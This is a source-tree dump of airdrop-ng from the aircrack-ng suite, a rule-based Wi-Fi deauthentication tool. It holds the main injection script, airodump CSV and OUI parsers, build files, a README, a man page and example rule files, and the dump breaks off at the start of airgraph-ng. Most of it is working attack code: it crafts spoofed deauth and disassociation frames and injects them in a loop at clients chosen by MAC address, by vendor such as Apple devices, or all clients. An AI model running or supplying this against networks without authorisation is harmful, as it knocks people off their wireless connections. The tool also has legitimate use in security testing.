"stp":'\x01\x80\xc2\x00\x00\x00' #Spanning Tree broadcast
}
#note this also contains some multicast addresses
self.packetReason = [
'\x0a\x00', #Requested capability set is too broad
'\x01\x00', #unspecified
'\x05\x00', #disassociated due to insufficient resources at the ap
'\x04\x00', #Inactivity timer expired
'\x08\x00', #Station has left BSS or EBSS
'\x02\x00' #Prior auth is not valid
] #reason codes
#add more reason codes?
self.allow_bcast = allow_bcast
self.destination_addr = self.convertHex(destination_addr)
self.source_addr = self.convertHex(source_addr)
self.bss_id_addr = self.convertHex(bss_id_addr)
self.channel = channel
def buildPacket(self,type,dstAddr,srcAddr,bssid,reasonCode):
"""
Constructs the packets to be sent
"""
#packetParts positions are as follows
#0:type 1:destination_addr 2:source_addr 3:bss_id_addr 4:reason
packet = [type] #subtype
packet.append('\x00\x00') #flags
packet.append(srcAddr) #destain_addr
packet.append(dstAddr) #source_addr
packet.append(bssid) #bss_id_addr
packet.append('\x70\x6a') #seq number
packet.append(reasonCode) #reason code
return "".join(packet)
def convertHex(self,mac):
"""
convert a mac address to hex
"""
return a2b_hex(mac.replace(":",""))
def packetEngine(self):
"""
Build each packet based on options
"""
packets = []
if self.allow_bcast == False:
#broadcast packets will not be sent
for type in self.packetTypes: # tx two packets with random reasons one two and one from
packets.append([
self.buildPacket(
self.packetTypes[type], #packet type
self.destination_addr, #destinaion
self.source_addr, #source
self.bss_id_addr, #bssid
self.randReason() #resoncode
),
self.channel])
packets.append([
self.buildPacket(
self.packetTypes[type], #packet type
self.source_addr, #destination
self.destination_addr, #source
self.bss_id_addr, #bssid
self.randReason() #reasoncode
),
self.channel])
if self.allow_bcast == True:
#broadcast packets will be sent
for type in self.packetTypes: #tx two packets with random reasons one too bssid and one from bssid
packets.append([
self.buildPacket(
self.packetTypes[type],
self.destination_addr,
self.source_addr,
self.bss_id_addr,
self.randReason()
),
self.channel])
packets.append([
self.buildPacket(
self.packetTypes[type],
self.source_addr,
self.destination_addr,
self.bss_id_addr,
self.randReason()
),
self.channel])
for bcast in self.packetBcast:#send bcast packets one two and one from
packets.append([
self.buildPacket(
self.packetTypes[type], #packet type
self.packetBcast[bcast],#destination
self.source_addr, #source
self.bss_id_addr, #bssid
self.randReason() #reasoncode
),
self.channel])
packets.append([
self.buildPacket(
self.packetTypes[type], #packet type
self.source_addr, #destination
self.packetBcast[bcast],#source
self.bss_id_addr, #bssid
self.randReason() #reasoncode
),
self.channel])
return packets
def randReason(self):
"""
Generate a random reason code for the kick
"""
return self.packetReason[
random.randrange(
0,len(self.packetReason),1
)
]
class getTargets():
"""
Call parser for the airodump csv file and rule files
"""
def __init__(self,rules,data,debug):
"""
Init with all vars for getTargets class
"""
self.FileParsers = parseFiles() #call all file parsing functions
self.AirParser = libDumpParse.airDumpParse() #call the airodump parser
self.rules = rules #file name of rules file
self.Airo = data #file name of airodump csv file
self.debug = debug #debug flag
self.targets = None #var to store matched targets in
def dataParse(self):
"""
parse the user provided files and
place their outputs into the rule matcher
"""
parsedAiro = self.AirParser.parser(self.Airo)
parsedRules = self.FileParsers.run(self.rules,parsedAiro[1])
rMatch = ruleMatch(parsedRules,parsedAiro[0],parsedAiro[1],self.debug)
return rMatch.ruleQue()
def run(self):
"""
reparse all data every 4 seconds
"""
self.targets = self.dataParse()
def lorconTX(pktNum=5,packet=None, channel=1 ,slept=0):
"""
Uses lorcon2 to send the actual packets
"""
#why the hell does pktNum default = 5?
#pktNum is number each packet is sent
count = 0
try:
cchannel = tx.get_channel()
except PyLorcon2.Lorcon2Exception as e:
message.printError(["\n Error Message from lorcon:",str(e),
"Unable to get channel the wireless card is on"])
try:
tx.set_channel(channel) #set the channel to send packets on
except PyLorcon2.Lorcon2Exception as e:
message.printError(["\nError Message from lorcon:",str(e),
"Unable to set channel card does not seem to support it",
"Skipping packet"])
return False
while count != pktNum:
try:
tx.send_bytes(packet)
except PyLorcon2.Lorcon2Exception as e:
message.printMessage(['\nError Message from lorcon:',str(e),
"Are you sure you are using the correct driver with the -d option?",
"Or try ifconfig up on the card you provided and its vap."])
sys.exit(-1)
count += 1
else:
if slept > 0:
sleep(slept)
return
def makeMagic(targets,slept = 0):
"""
function where the targets are looped through
and packets are sent to them
"""
packetQue = []
packetCount = 1 #hardcoded number of how many copies of each packet is sent
for bssid in targets:
for client in targets[bssid][1]:
engine = packetGenerator(
targets[bssid][0]["allow"],
client,bssid,bssid,
targets[bssid][0]["channel"]
)
packetQue.extend(engine.packetEngine())
numPackets = len(packetQue)
message.printMessage(
"\nAttempting to TX "+str(numPackets)+" packets "+str(packetCount)+" times each")
while len(packetQue) != 0:
lorconTX(
packetCount, #number of packets to send
packetQue[0][0], #packet in hex
int(packetQue[0][1]) #channel to tx the packet on
)
sleep(slept)
del packetQue[0] #remove the sent packet from the que
message.printMessage(
"\nSent "+str(numPackets)+" packets "+str(packetCount)+" times each")
return numPackets * packetCount
def help():
"""
function for lemonwedge integration
supports its show help call
"""
print("<"+"~"*59+">\n")
print("Airdrop Module for rule based deauth")
print("This module requires airodump-ng to run")
print("Module options:\n")
print("\t? These need to be set")
def firstLoad():
"""
provides var names need to run airdrop
used for calling airdrop from PLW
"""
allfunctionlist = {
"startAirdrop":{
"iface":"", #injection interface
"driver":"mac80211", #driver of the card we inject with
"adlog":"/var/log/airodump-ng.log",#logfile to parse to decide on kick types
"rules":install_dir + "/support/", #the drop rules
"slept":"0" #sleep time between each packet tx's
}
}
return allfunctionlist
def startAirdop():
"""
function for calling airdrop
from PLW
"""
pass
def usage():
"""
Prints the usage to use airgraph-ng
"""
print("\n"+bcolors.OKBLUE+"#"*49)
print("#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#")
print("#"*49+bcolors.ENDC+"\n")
def commandUsage():
print("\nSample command line arguments:")
print("\npython airdrop-ng -i wlan0mon -t airodump.csv -r rulefile.txt\n")
def OUIupdate():
"""
update the ouilist
"""
message.printMessage("Updating OUI list...")
ouiUpdate()
sys.exit(0)
if __name__ == "__main__":
"""
Main function.
Parses command line input for proper switches and arguments. Error checking is done in here.
Variables are defined and all calls are made from MAIN.
"""
usage()
parser = argparse.ArgumentParser(description="airdrop-ng is a program used for targeted, rule-based deauthentication of users.") #
parser.add_argument("-i", "--interface", dest="card",nargs=1,
help="Wireless card in monitor mode to inject from")
parser.add_argument("-t", "--dump", dest="data", nargs=1 ,
help="Airodump txt file in CSV format NOT the pcap")
parser.add_argument("-r", "--rule",dest="rule", nargs=1 ,help="Rule File for matched deauths")
parser.add_argument("-s", "--sleep",dest="slept",default=0,nargs=1,type=int,help="Time to sleep between sending each packet")
parser.add_argument("-b", "--debug",dest="debug",action="store_true",default=False,help="Turn on Rule Debugging")
parser.add_argument("-l", "--logging",dest="log",nargs="?",action="store",default=False,const=True,help="Enable Logging to a file, if file path not provided airdrop will log to default location")
parser.add_argument("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops")
if len(sys.argv) <= 1: #check and show help if no arguments are provided at runtime
parser.print_help()
commandUsage()
sys.exit(0)
args = parser.parse_args()
#set the program loop value
#************
#HUGE CHANGE
#************
#basically all of this code needs to be moved to startAirdrop()
#************
#HUGE CHANGE
#************
#start up printing
if args.log is True or args.log is False:
# if -l is supplied without a path --> args.log is True
# if -l is not supplied --> args.log is False
message = messages(args.log)
else:
# if -l is supplied with a path --> args.log is the path
message = messages(True, args.log)
TotalPacket = 0 #total packets tx'd
if os.geteuid() != 0:
message.printError(["airdrop-ng must be run as root.\n",
"Please 'su' or 'sudo -i' and run again.\n","Exiting...\n\n"])
sys.exit(-1)
#no longer need to import lorcon here instead we should just test opening up the card and check for errors
liborcon2 = '/usr/local/lib/liborcon2.so'
if os.path.isfile(liborcon2) is False:
liborcon2 = '/usr/lib/liborcon2.so' #support the ubuntu folks
try:
try:
"""
# the following code is marked for removal
# more testing is needed
try:
liblorcon = lorcon.Lorcon(liborcon2)
except OSError:
message.printMessage(['\n',
'Unable to find liborcon2.so in /usr/local/lib or /usr/lib , is lorcon2 installed?'])
sys.exit(-1)
"""
tx = PyLorcon2.Context(args.card[0])
tx.open_injmon()
except PyLorcon2.Lorcon2Exception as e:
message.printMessage(["\n",
e,"Interface %s does not exist" %(args.card[0])])
sys.exit(-1)
except ValueError:
message.printMessage(["\n",
"Interface %s does not exist" %(args.card[0])])
sys.exit(-1)
try:
#populate the oui lookup databases
try:
try:
ouiLookup = libOuiParse.macOUI_lookup("./support/oui.txt")
except IOError:
ouiLookup = libOuiParse.macOUI_lookup(install_dir + "/support/oui.txt")
except IOError:
for path in libOuiParse.OUIPATH:
message.printError(["oui.txt not found in " + path])
message.printError("Please run airodump-ng-oui-update")
sys.exit(-1)
except ImportError as e:
message.printMessage(["\n",e,"ouiParser error"])
sys.exit(-1)
#Start the main loop
napTime = float(args.nap[0])
Targeting = getTargets(args.rule[0],args.data[0],args.debug)
#set zero packet flag to false
zp = False
while True:
Targeting.run()
if Targeting.targets != None:
rtnPktCount = makeMagic(Targeting.targets,int(args.slept[0]))
if rtnPktCount == 0:
message.printMessage("Zero Packets were to be sent, Napping for 5 sec to await changes in sniffed data\n")
zp = True
TotalPacket += rtnPktCount
if zp is True:
time = 5
zp = False
else:
time = napTime
message.printMessage("Waiting "+str(time)+" sec in between loops\n")
sleep(time)
except (KeyboardInterrupt, SystemExit):
message.printMessage(["\nAirdrop-ng will now exit","Sent "+str(TotalPacket)+" Packets",
"\nExiting Program, Please take your card "+args.card[0]+" out of monitor mode"])
sys.exit(0) |
|
aircrack-ng/scripts/airdrop-ng/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
SUBDIRS = doc
all-local:
( cd $(srcdir) && $(PYTHON) setup.py build \
--build-base $(shell $(READLINK) -f $(builddir))/build \
--verbose )
install-exec-local:
( cd $(srcdir) && $(MKDIR_P) $(DESTDIR)$(pkgpythondir) && \
$(PYTHON) $(srcdir)/setup.py install \
--prefix $(DESTDIR)$(prefix) \
--record $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt \
--verbose )
uninstall-local:
cat $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt | xargs rm -rf
rm -rf $(DESTDIR)$(pkgpythondir)/airdrop-ng-install_files.txt
rmdir $(DESTDIR)$(pkgpythondir) || :
clean-local:
rm -fr $(shell $(READLINK) -f $(builddir))/build
EXTRA_DIST = airdrop \
airdrop-ng \
README \
setup.py |
|
aircrack-ng/scripts/airdrop-ng/README | _ _ _ _ ___
/_\ (_)_ __ __| |_ __ ___ _ __ /\ \ \/ _ \
//_\\| | '__/ _` | '__/ _ \| '_ \ _____ / \/ / /_\/
/ _ \ | | | (_| | | | (_) | |_) |_____/ /\ / /_\\
\_/ \_/_|_| \__,_|_| \___/| .__/ \_\ \/\____/
|_|
README
Airdrop-ng is a rule based Deauth Tool
Readme Written by Mubix & TheX1le
#####################################################
# Dependencies and Installation #
#####################################################
Requires python 2.7 for the installer to work, unless you edit it and remove the "--prefix " part.
Dependencies:
[*] lorcon
[*] Pylorcon2
[*] A lorcon supported wireless card (mac80211 drivers) with monitor mode and injection
**********************
* Installing lorcon *
**********************
You can get lorcon source from:
[*] git clone https://github.com/kismetwireless/lorcon
Then you will have to compile it:
[*] cd lorcon && ./configure && make && make install
Next compile Pylorcon2 source
[*] cd pylorcon2 && python setup.py install
If pylorcon reports import errors you need to run the following command:
[*] ln -s /usr/local/lib/liborcon-2.0.0.so /usr/lib
This will create a symlink to the directory that pylorcon looks in for
liborcon.
If you are on ubuntu you will also need to install the python-dev
package as they do not include the headers
#####################################################
# Usage and Options #
#####################################################
-t
Airodump-ng CSV file location.
It is highly recommended that you have Airodump-ng ACTIVELY RUNNING
before and while you run Airdrop-ng. You should run Airodump-ng with
the following options:
# airodump-ng <interface> --write <filename(no extension)>
--output-format csv
# EXAMPLE: airodump-ng wlan0 -w capture --output-format csv
# this will write capture-01.csv to the current working directory
-r
Rule set config file location.
docs/dropRules.conf.example contains several examples on how construct
your rules please take a look at this file. The Rules are the core of
what
makes airdrop-ng so special and determine what clients get a kick and
which
ones are saved.
Rules are run cascading order so make sure your allows are written
before your denys.
Adding a # to the front of a line comments out the line
NOTE: The a/any|any rule... This rule currently causes the program to
exit
with a error message. This is by design as the tool allows by default.
NOTE: By default if no rule exist for a client or ap airdrop-ng assumes
that
you wish to allow it. This can be changed by putting a d/any|any
#####################################################
# Advanced Rule Writing #
#####################################################
Rules based on OUI:
Currently it only supports the company name or a single OUI, the format
is as follows:
Company name
a or d /bssid or any|company name;company name; company name
EXAMPLE: d/any|apple
This example attacks only devices with OUI's matching "Apple"
Notice the ; as a delimiter for company names this is because many
company
names contain comas. When writing rules make sure you check the oui.txt
file in the support directory. There isn't a standard for company names.
For example "Apple" has 11 unique names in the file. If you check the
Apple.sample.txt file in the support directory you can see a list of
each one of them.
For all OUIs to be used you would need to write a rule that contained
each company name. A newer and easier way is to use the built in regex
function. Airdrop-ng will attempt to find all of company names for you a
sample rule using this is:
d/any|Sony Corporation
or even better:
d/any|sony
The same can be done in the bssid field
d/sony|any
d/broadcom|apple
The above example would kick any apple device off a broadcom radio AP
The regular expression function is NOT case sensitive. This option while
much faster only works well with companies that support proprietary
hardware
like Apple or Sony. This is not to say it won't work with others but it
works
best on proprietary hardware.
Rules written in this manner will match all OUI's found for that company
name
Matching a single OUI
Example:
d/00:50:E4|any
This rule will match any bssid that 00:50:E4 as an OUI and kick any
clients attached to it
The same can be done in the client field
d/any|00:50:E4
Note: doing a single OUI will match only that OUI.
Note: You can mix and match rule types IE
d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4
Or
a/00:1B:63:00:60:C4|apple
However it is not wise to try to mix and match rule types for example
d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,sony
this confuses the current parser and makes it unhappy
You can complete the same thing with two rules IE
d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A
d/apple|sony
Airdrop-ng works in a loop
Each time the program finishes sending packets it re-parses the airodump
file
for changes as well as the rule file. This means that it possible to
update
rules while the program is running.
Happy hacking! |
|
Python | aircrack-ng/scripts/airdrop-ng/setup.py | #!/usr/bin/env python
# This file is Copyright David Francos Cuartero, licensed under the GPL2 license.
from setuptools import setup
setup(name='airdrop-ng',
version='1.1',
description='Rule based Deauth Tool',
author='TheX1le',
url='https://aircrack-ng.org',
license='GPL2',
classifiers=[ 'Development Status :: 4 - Beta', ],
packages=['airdrop'],
scripts=['airdrop-ng'],
) |
Python | aircrack-ng/scripts/airdrop-ng/airdrop/libDumpParse.py | #!/usr/bin/env python
#airodump parsing lib
#returns in an array of client and Ap information
#part of the airdrop-ng project
from sys import exit as Exit
class airDumpParse:
def parser(self,file):
"""
One Function to call to parse a file and return the information
"""
fileOpenResults = self.airDumpOpen(file)
parsedResults = self.airDumpParse(fileOpenResults)
capr = self.clientApChannelRelationship(parsedResults)
rtrnList = [capr,parsedResults]
return rtrnList
def airDumpOpen(self,file):
"""
Takes one argument (the input file) and opens it for reading
Returns a list full of data
"""
try:
openedFile = open(file, "r")
except TypeError:
print("Missing Airodump-ng file")
Exit(1)
except IOError:
print("Error Airodump File",file,"does not exist")
Exit(1)
cleanedData = [line.rstrip() for line in openedFile]
openedFile.close()
return cleanedData
def airDumpParse(self,cleanedDump):
"""
Function takes parsed dump file list and does some more cleaning.
Returns a list of 2 dictionaries (Clients and APs)
"""
try: #some very basic error handling to make sure they are loading up the correct file
try:
apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID')
except Exception:
apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
del cleanedDump[apStart] #remove the first line of text with the headings
try:
stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
except Exception:
stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID')
except Exception:
print("You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap")
Exit(1)
del cleanedDump[stationStart] #Remove the heading line
clientList = cleanedDump[stationStart:] #Splits all client data into its own list
del cleanedDump[stationStart:] #The remaining list is all of the AP information
apDict = self.apTag(cleanedDump)
clientDict = self.clientTag(clientList)
resultDicts = [clientDict,apDict] #Put both dictionaries into a list
return resultDicts
def apTag(self,devices):
"""
Create a ap dictionary with tags of the data type on an incoming list
"""
dict = {}
for entry in devices:
ap = {}
string_list = entry.split(',')
#sorry for the clusterfuck but I swear it all makes sense, this is building a dic from our list so we don't have to do position calls later
len(string_list)
if len(string_list) == 15:
ap = {"bssid":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"channel":string_list[3].replace(' ',''),
"speed":string_list[4],
"privacy":string_list[5].replace(' ',''),
"cipher":string_list[6],
"auth":string_list[7],
"power":string_list[8],
"beacons":string_list[9],
"iv":string_list[10],
"ip":string_list[11],
"id":string_list[12],
"essid":string_list[13][1:],
"key":string_list[14]}
elif len(string_list) == 11:
ap = {"bssid":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"channel":string_list[3].replace(' ',''),
"speed":string_list[4],
"privacy":string_list[5].replace(' ',''),
"power":string_list[6],
"beacons":string_list[7],
"data":string_list[8],
"ip":string_list[9],
"essid":string_list[10][1:]}
if len(ap) != 0:
dict[string_list[0]] = ap
return dict
def clientTag(self,devices):
"""
Create a client dictionary with tags of the data type on an incoming list
"""
dict = {}
for entry in devices:
client = {}
string_list = entry.split(',')
if len(string_list) >= 7:
client = {"station":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"power":string_list[3],
"packets":string_list[4],
"bssid":string_list[5].replace(' ',''),
"probe":string_list[6:][0:]}
if len(client) != 0:
dict[string_list[0]] = client
return dict
def clientApChannelRelationship(self,data):
"""
parse the dic for the relationships of client to ap
"""
clients = data[0]
AP = data[1]
NA = [] #create a var to keep the not associated clients
NAP = [] #create a var to keep track of associated clients to AP's we can't see
apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids
apClient = {} #dict that stores bssid and clients as a nested list
for key in (clients):
mac = clients[key] #mac is the MAC address of the client
if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
if mac["bssid"] in AP: # if it is check to see it's an AP we can see and have info on
if mac["bssid"] in apClient:
apClient[mac["bssid"]].extend([key]) #if key exists append new client
else:
apClient[mac["bssid"]] = [key] #create new key and append the client
else: NAP.append(key) # stores the clients that are talking to an access point we can't see
else: NA.append(key) #stores the lines of the not associated AP's in a list
return apClient |
Python | aircrack-ng/scripts/airdrop-ng/airdrop/libOuiParse.py | #!/usr/bin/env python
__author__ = 'Ben "TheX1le" Smith, Marfi'
__email__ = 'thex1le@gmail.com'
__website__= ''
__date__ = '09/19/09'
__version__ = '2009.11.23'
__file__ = 'ouiParse.py'
__data__ = 'a class for dealing with the oui txt file'
"""
########################################
#
# This program and its support programs are free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation; version 2.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
#########################################
"""
import re
import os
from airdrop import install_dir
class macOUI_lookup:
"""
A class for deaing with OUIs and deterimining device type
"""
def __init__(self,oui=None,GetFile=False):
"""
generate the two dictionaries and return them
"""
aircrackOUI = None
self.OUI_PATH = ["/etc/aircrack-ng/airodump-ng-oui.txt",
"/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
"/usr/share/aircrack-ng/airodump-ng-oui.txt",
"/var/lib/misc/oui.txt",
"/usr/share/misc/oui.txt",
"/var/lib/ieee-data/oui.txt",
"/usr/share/ieee-data/oui.txt",
"/etc/manuf/oui.txt",
"/usr/share/wireshark/wireshark/manuf/oui.txt",
"/usr/share/wireshark/manuf/oui.txt"]
# append any oui paths provided by program using lib to list
if oui is not None:
self.OUI_PATH.append(oui)
for PATH in self.OUI_PATH:
if os.path.isfile(PATH):
aircrackOUI=PATH
if aircrackOUI is None:
# default
aircrackOUI=self.OUI_PATH[1]
#a poor fix where if we have no file it tries to download it
self.ouiTxtUrl = "http://standards-oui.ieee.org/oui.txt"
self.ouiUnPath = install_dir#path to oui.txt if module is installed
self.ouiInPath = install_dir + '/support/' #path to oui.txt if module is not installed
self.ouiTxt = aircrackOUI
self.ouiRaw = self.ouiOpen()
self.oui_company = self.ouiParse() #dict where oui's are the keys to company names
self.company_oui = self.companyParse() #dict where company name is the key to oui's
def compKeyChk(self,name):
"""
check for valid company name key
"""
compMatch = re.compile(name,re.I)
if name in self.company_oui:
return True
for key in self.company_oui.keys():
if compMatch.search(key) is not None:
return True
return False
def ouiKeyChk(self,name):
"""
check for a valid oui prefix
"""
if name in self.oui_company:
return True
else:
return False
def lookup_OUI(self,mac):
"""
Lookup a oui and return the company name
"""
if self.ouiKeyChk(mac) is not False:
return self.oui_company[mac][0]
else:
return False
def lookup_company(self,companyLst):
"""
look up a company name and return their OUI's
"""
oui = []
if type(companyLst) is list:
for name in companyLst:
compMatch = re.compile(name,re.I)
if name in self.company_oui:
oui.extend(self.company_oui[name])
else:
for key in self.company_oui:
if compMatch.search(key) is not None:
oui.extend(self.company_oui[key])
elif type(companyLst) is str:
if companyLst in self.company_oui:
oui = self.company_oui[companyLst]
else:
compMatch = re.compile(companyLst,re.I)
for key in self.company_oui:
if compMatch.search(key) is not None:
oui.extend(self.company_oui[key]) #return the oui for that key
return oui
def ouiOpen(self):
"""
open the file and read it in
"""
with open(self.ouiTxt, "r") as fid:
text = fid.readlines()
#text = ouiFile.read()
return text
def ouiParse(self):
"""
generate a oui to company lookup dict
"""
HexOui= {}
Hex = re.compile('.*(hex).*')
#matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION"
ouiLines = self.ouiRaw
for line in ouiLines:
if Hex.search(line) is not None:
#return the matched text and build a list out of it
lineList = Hex.search(line).group().replace("\t"," ").split(" ")
#build a dict in the format of mac:company name
HexOui[lineList[0].replace("-",":")] = [lineList[2]]
return HexOui
def companyParse(self):
"""
generate a company to oui lookup dict
"""
company_oui = {}
for oui in self.oui_company:
if self.oui_company[oui][0] in company_oui:
company_oui[self.oui_company[oui][0]].append(oui)
else:
company_oui[self.oui_company[oui][0]] = [oui]
return company_oui
if __name__ == "__main__":
import pdb
# for testing
x = macOUI_lookup()
pdb.set_trace() |
Python | aircrack-ng/scripts/airdrop-ng/airdrop/__init__.py | import os
import sys
class bcolors:
"""
class for using colored text
"""
HEADER = '\033[95m' #pink
OKBLUE = '\033[94m' #blue
OKGREEN = '\033[92m' #green
WARNING = '\033[93m' #yellow
FAIL = '\033[91m' #red
ENDC = '\033[0m' #white
def disable(self):
"""
function to disable colored text
"""
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.WARNING = ''
self.FAIL = ''
self.ENDC = ''
encoding = sys.getfilesystemencoding()
current_file=""
if hasattr(sys, 'frozen'):
current_file = sys.executable
else:
current_file = __file__
if sys.version_info[0] < 3:
current_file = unicode(current_file, encoding)
install_dir = os.path.abspath(os.path.dirname(current_file))
try:
os.mkdir(install_dir + "/support")
except:
pass |
Man Page | aircrack-ng/scripts/airdrop-ng/doc/airdrop-ng.1 | .TH AIRDROP-NG 1
.SH NAME
airdrop-ng - A rule based wireless deauth tool
.SH SYNOPSIS
.B airdrop-ng
[-i <card> -t <data> -r <rules>] -d <driver> -s <sleep> -p -b -u
.SH DESCRIPTION
.BI airdrop-ng
is a program used for targeted, rule-based deauthentication of users. It can target based on MAC address, type of hardware, (by using an OUI lookup, IE, "APPLE" devices) or completely deauthenticate ALL users. lorcon and pylorcon are used in the transmission of the deauth packets.
.SH OPTIONS
.TP
.I -d <driver> , --driver <driver>
Driver for injection. Supported drivers are:
.br
wlan-ng, hostap, airjack, prism54, madwifing, madwifiold, rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw, bcm43xx, mac80211 . The default is mac80211.
.TP
.I -i <card> , --interface <card>
Interface of the card for injection. IE, -i mon0
.TP
.I -l , --logging
Enable logging to a file. If a file path is not provided, airdrop-ng will log to default location.
.TP
.I -r <rules> , --rule <rules>
This is what separates airdrop-ng from other deauthentication applications. You can specify what users you want to kick off, based on MAC address, OUI, or completely kick everyone off. Multiple rules can be set. See dropRules.conf in the testing/ directory, or the README included with the installer.
.TP
.I -s <sleep> , --sleep <sleep>
Time to sleep before sending next set of packets.
.TP
.I -t <data> , --dump <data>
Path to the txt file in .CSV format from airodump-ng
.TP
.I -u , --update
Updates OUI list and to latest version of airdrop-ng.
.SH AUTHOR
The application airdrop-ng was written by TheX1le, and King_Tuna.
.br
This manual page was written by Ronnie Tokazowski <marfi[at]net-sploit.org> for Linux.
.br
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
.SH SEE ALSO
.br
.B lorcon(3) |
Text | aircrack-ng/scripts/airdrop-ng/doc/Apple.sample.txt | #direct string lookup
#strings were grep'd from the oui Txt file
Apple Computer
Apple Computer Inc
Apple Computer Inc.
Apple Computer, Inc.
Apple Inc
Apple, Inc
Apple, Inc.
APPLE COMPUTER
APPLE COMPUTER INC.
APPLE COMPUTER, INC.
APPLE, INC
#regex lookup
apple
#this will return the same ouis as the strings above |
aircrack-ng/scripts/airdrop-ng/doc/dropRules.conf.example | #[comments]
#All lines in this file are commented out
# The # symbol at the front of a line denotes a commented line
#airdrop-ng.py rule configuration file
#a is allow
#d is deny
#format is (a or d)/bssid|(any or client mac or list of client macs in format of mac1,mac2,mac3)
#it is not wise to mix rule types for example
#d/any|00:17:AB:5C:DE:3A,00:1B:63:00:60:C4,apple
#While it may work I have no idea what result it will have and is not recommended at this time
#EX d/bssid|mac1,mac2 #note this is not a valid rule just shows format the / and | placement do matter
#MORE EXAMPLE RULES
#d/00:1F:90:CA:0B:74|00:18:41:75:8E:4B
#deny rule with a single client
#d/any|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4
#a deny rule for several clients on any AP
#d/any|any
#a global deny any any rule
#A/00:17:3F:3A:F0:7E|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4
#an allow rule with multiple clients
#D/00-1E-58-00-FF-5E|00:19:7E:9A:66:96
#another deny rule with a different mac format
#d/12:02:DC:02:10:00|any
#a bssid deny any client rule
#a/any|any
#a global allow, no idea why you would wanna use this ;)
#oui examples
#d/any|Apple, Inc;APPLE COMPUTER;APPLE COMPUTER, INC.;Apple Computer Inc.;APPLE COMPUTER INC.;APPLE, INC
#d/any|apple
#d/action|broadcom #kicks only broadcom devices off actiontech routers
#d/00:1F:3C|any #kicks all clients that match that oui
#d/action|00:1F:3C kick any clients off an actiontec router that match the oui
#d/action|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #kick the following clients off an any actiontech router
#d/00:17:3F:3A:F0:7E|apple kick any apple device off that ap |
|
aircrack-ng/scripts/airdrop-ng/doc/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
dist_man1_MANS = airdrop-ng.1
doc_DATA = Apple.sample.txt dropRules.conf.example
EXTRA_DIST = $(doc_DATA) |
|
aircrack-ng/scripts/airgraph-ng/airgraph-ng | #!/usr/bin/env python
__author__ = 'Ben "TheX1le" Smith'
__email__ = 'thex1le _A_T_ remote-exploit.org'
